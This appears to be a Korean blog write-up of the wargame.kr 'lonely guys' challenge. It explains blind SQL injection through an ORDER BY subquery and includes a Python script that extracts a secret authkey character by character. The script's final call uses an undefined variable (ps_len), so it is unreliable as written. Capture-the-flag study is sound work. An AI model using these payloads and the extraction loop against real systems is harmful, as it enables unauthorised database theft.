Blind SQL Injection이니 참/거짓을 판단할 수 있어야 합니다.

소스를 확인해보면 post방식으로 $sort 값을 보내면 해당 $sort값이 ordey by 뒤 부분에 씌어집니다.


또한 update문으로 authkey라는 테이블명과 authkey라는 칼럼명을 알려주기 때문에 쉽게 해결 할 수 있습니다.



문제에서 order by 표현 방식을 알고 있는지 물어봐서 찾아보니

order by를 사용할 때 서브쿼리를 이용해서 참/거짓을 판단할 수 있는 방법이 있었습니다.


order by [COLUMN] 을 하면 COLUMN순으로 정렬을 해줍니다. (기본값 asc)

하지만 order by (select 1 from table) 이렇게 서브쿼리를 사용하면 ERROR가 발생하는데 이 부분에서 Blind SQL Injection을 사용할 수 있습니다.



문제에서 이미 COLUMN이 하나 나와있기 때문에 ,(콤마)를 통해서 구분을 해주고 아래와 같이 서브쿼리를 참으로 되게 만드는 구문을 사용하면

아무것도 표시가 되지 않습니다.


하지만 거짓으로 만들게 되면 정상적으로 표시가 됩니다.

이 부분을 이용해서 authkey를 얻을 수 있습니다.



Python 코드를 이용해서 문제를 해결했습니다,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
 
def request_len(query):
    for i in range(0,100):
        payload = query.format(i)
        data = {'sort': payload}
        print (payload)
        
        res = requests.post(url, cookies=cookies, data=data)
        print(res.text)
        if((res.text).find("chul-su")<0):
            print("[*] AUTHKEY Length: "+str(i))
            return i
        
    return -1
        
 
def request_value(query, value_len):
    value=''
    for i in range(1, value_len+1):
        for j in range(33,127):
            payload = query.format(i,j)
            data = {'sort': payload}
            print (payload)
 
            res = requests.post(url, cookies=cookies, data=data)
            if((res.text).find("chul-su")<0):
                value += chr(j)
                break            
    print("[*] AUTHKEY: "+value)
    return value
 
        
if __name__=='__main__':
    cookies= {'ci_session':'YourSessionValue'}
    url = 'http://wargame.kr:8080/lonely_guys/'
 
    query=", (select 1 from guys_tbl where length((select authkey from authkey))={0})"
    AUTHKEY_len=request_len(query)
    if( AUTHKEY_len == -1):
        exit("AUTHKEY_len code Error")
 
    query=", (select 1 from guys_tbl where ascii(substr((select authkey from authkey),{0},1))={1})"
    AUTHKEY_value=request_value(query, ps_len)
    if( AUTHKEY_value == '' ):
        exit("AUTHKEY_value code Error")
cs



[참고]


SQL INJECTION - ORDER BY:

https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu

'WarGame > wargame.kr' 카테고리의 다른 글

[WarGame] QnA  (0) 2018.11.13
[WarGame] ip log table  (0) 2018.11.08
[WarGame] WTF_CODE  (0) 2018.11.05
[WarGame] php? c?  (0) 2018.11.02
[WarGame] tmitter  (0) 2018.11.01

+ Recent posts